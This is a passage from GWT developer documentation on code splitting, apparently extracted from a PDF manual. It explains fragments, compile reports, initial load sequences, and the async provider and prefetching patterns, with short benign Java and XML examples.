Before going further, it is important to understand exactly what fragments the code splitter divides your code into. That way you can examine how the splitting went and work towards improving it. Figure 1 gives a diagram of those fragments and the order they can load in. One very important fragment is the initial download. For the iframe linker, it is emitted as a file whose name ends with cache.html. When the application starts up, the initial-download fragment is loaded. This fragment includes all the code necessary to run the application up, but not past, any split point. When you start improving your code splitting, you should probably start by trying to reduce the size of the initial download fragment. Reducing this fragment causes the application to start up quickly. There are a number of other code fragments generated in addition to this initial one. For the iframe linker, they are located underneath a directory named deferredjs, and their filenames all end with cache.js. Each split point in the program will have an associated code fragment. In addition, there is a leftovers code fragment for code that is not associated with any specific split point. In Figure 1, the leftovers fragment is number 6. The code fragment associated with a split point is of one of two kinds. Most frequently, it is an exclusive fragment. An exclusive fragment contains code that is needed only once that split point is activated. In Figure 1, split points 1, 3, and 5 each have an exclusive fragment. Less frequently, a split point gets an initial fragment. That happens if a split point is part of the initial load sequence, described below. In Figure 1, the initial load sequence is split point 2 followed by split point 4. Unlike an exclusive fragment, an initial fragment does not rely on anything in the leftovers fragment, so it can load before the leftovers do. However, an initial fragment can be loaded only in its designated position in the initial load sequence; exclusive fragments have the benefit that they can be loaded in any order.

The compile report
Now that you know how GWT splits up code in general, you will want to know how it splits up your code in particular. There are several tools for this, and they are all included in a Compile Report. To obtain a compile report for your application, simply compile your application with the -compileReport option added. Your application should then have an output directory named compileReport. Open index.html in that directory to view a Compile Report for your application.

Overall sizes
The first thing to look at in a compile report is the overall size breakdown of your application. Compile reports break down your application size in four different ways: by Java package, by code type, by type of literals (for code associated with literals), and by type of strings (for code associated with string literals). By looking at these overall sizes, you can learn what parts of the code are worth paying more attention to when splitting. For that matter, you might well see something that is larger than it should be; in that case, you might be able to work on that part and shrink the total, pre-split size of the application.

Fragment breakdown
Since you are working on code splitting, you will next want to look at the way the application splits up. Click on any code subset to see a size breakdown of the code in that fragment. The total program option describes all of the code in the program. The other options all correspond to individual code fragments.

Dependencies
At some point you will try to get something moved out of the initial download fragment, but the GWT compiler will put it there anyway. Sometimes you can quickly figure out why, but other times it will not be obvious at all. The way to find out is to look through the dependencies that are reported in the compile report. The most common example is that you expected something to be left out of the initial download, but it was not. To find out why, browse to that item via the initial download code subset. Once you click on the item, you can look at a chain of dependencies leading back to the application's main entry point. This is the chain of dependencies that causes GWT to think the item must be in the initial download. Try to rearrange the code to break one of the links in that chain. A less common example is that you expected an item to be exclusive to some split point, but actually it's only included in leftover fragments. In this case, browse to the item via the total program code subset. You will then get a page describing where the code of that item ended up. If the item is not exclusive to any split point, then you will be shown a list of all split points. If you click on any of them, you will be shown a dependency chain for the item that does not include the split point 376 / 469

you selected. To get the item exclusive to some split point, choose a split point, click on it, and then break a link in the dependency chain that comes up.

Specifying an initial load sequence
By default, every split point is given an exclusive fragment rather than an initial fragment. This gives your application maximum flexibility in the order the split points are reached. However, it means that the first split point reached must pay a significant delay, because it must wait for the leftovers fragment to load before its own code can load. If you know which split point in your app will come first, you can improve the app's performance by specifying an initial load sequence. To do so, you need to name your runAsync calls and then specify a list of those names in your module file. To give a name to a runAsync call, add a class literal as the first argument to the call to runAsync, like this:
GWT.runAsync(SomeClass.class, new RunAsyncCallback() { // ... callback class's body ... }

This first argument must be a class literal, and it is ignored except to be used as a name for the call. Any class literal can be used. A common choice is to use the enclosing class that the call appears in. Once you have named your calls, you can specify an initial load sequence with lines like the following:
<extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.SomeClass"/>

The value part of the line specifies a split point. It is interpreted as a fully qualified class name that must match a literal used in exactly one runAsync call. For some applications, you will know not only the first split point reached, but also the second and maybe even the third. You can continue extending the initial load sequence by adding more lines to the configuration property. For example, here is module code to specify an initial load sequence of three split points.
<extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.SomeClass"/> <extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.AnotherClassClass"/> <extend-configuration-property name="compiler.splitpoint.initial.sequence" value="com.yourcompany.yourprogram.YetAnotherClass"/>

The down side to specifying an initial load sequence is that if the split points are reached in a different order than specified, then there will be an even bigger delay than before that code is run. For example, if the third split point in the initial sequence is actually reached first, then the code for that split point will not load until the code for the first two split points finishes loading. Worse, if some non-initial split point is actually reached first, then all of the code for the entire initial load sequence, in addition to the leftovers fragment, must load before the requested split point's code can load. Thus, think very carefully before putting anything in the initial load sequence if the split points might be reached in a different order at run time.

Common coding patterns
GWT's code splitting is new, so the best idioms and patterns for using it are still in their infancy. Even so, here are a couple of coding patterns that look promising. Keep them in mind for your coding toolbox.

Async Provider
Frequently you will think of some part of your code as its own coherent module of functionality, and you'd like for that functionality to get associated with a GWT exclusive fragment. That way, its code will not be downloaded until the first time it is needed, but once that download happens, the entire module will be available. A coding pattern that helps with this goal is to associate a class with the module and then to make sure that all code in the module is reachable only by calling instance methods on that class. Then, you can arrange for the only instantiation of that class in the program to be within a runAsync. The overall pattern looks as follows.

377 / 469

public class Module { // public APIs public doSomething() { /* ... */ } public somethingElse() { /* ... */ } // the module instance; instantiate it behind a runAsync private static Module instance = null; // A callback for using the module instance once it's loaded public interface ModuleClient { void onSuccess(Module instance); void onUnavailable(); } /** * Access the module's instance. The callback * runs asynchronously, once the necessary * code has downloaded. */ public static void createAsync(final ModuleClient client) { GWT.runAsync(new RunAsyncCallback() { public void onFailure(Throwable err) { client.onUnavailable(); } public void onSuccess() { if (instance == null) { instance = new Module(); } client.onSuccess(instance); } }); } }

Whenever you access the module from code that possibly loads before the module, go through the static Module.createAsync method. This method is then an async provider: it provides an instance of Module, but it might take its time doing so. Usage note: for any code that definitely loads after the module, store the instance of the module somewhere for convenience. Then, access can go directly through that instance without harming the code splitting.

Prefetching
The code splitter of GWT does not have any special support for prefetching. Except for leftovers fragments, code downloads at the moment it is first requested. Even so, you can arrange your own application to explicitly prefetch code at places you choose. If you know a time in your application that there is likely to be little network activity, you might want to arrange to prefetch code. That way, once the code is needed for real, it will be available. The way to force prefetching is simply to call a runAsync in a way that its callback doesn't actually do anything. When the application later calls that runAsync for real, its code will be available. The precise way to invoke a runAsync to have it do nothing will depend on the specific case. That said, a common general technique is to extend the meaning of any method parameter that is already in scope around the call to runAsync. If that argument is null, then the runAsync callback exits early, doing nothing. For example, suppose you are implementing an online address book. You might have a split point just before showing information about that contact. A prefetchable way to wrap that code would be as follows:
public void showContact(final String contactId) { GWT.runAsync(new RunAsyncCallback() { public void onFailure(Throwable caught) { cb.onFailure(caught); } public void onSuccess() { if (contactId == null) { // do nothing: just a prefetch return; } // Show contact contactId... } }); }

Here, if showContact is called with an actual contact ID, then the callback displays the information about that contact. If, however, it is called with null, then the same code will be downloaded, but the callback won't actually do anything. 378 / 469

4.15.2.

Compile Report

When programming in GWT, it can sometimes be difficult to understand the compiled output. This is especially true for users of code splitting: why are some fragments bigger, some smaller? Our answer to these questions are Compile Reports. Compile Reports let GWT programmers gain insight into what happens in their application during the compile: how much output their code leads to, what Java packages and classes lead to large JavaScript output, and how the code is split up during code splitting. With this information, you can then modify their application in a targeted way in order to reduce the size of the entire compiled application or the size of certain fragments. A compile report can be produced during a regular GWT compile. It consists of a set of HT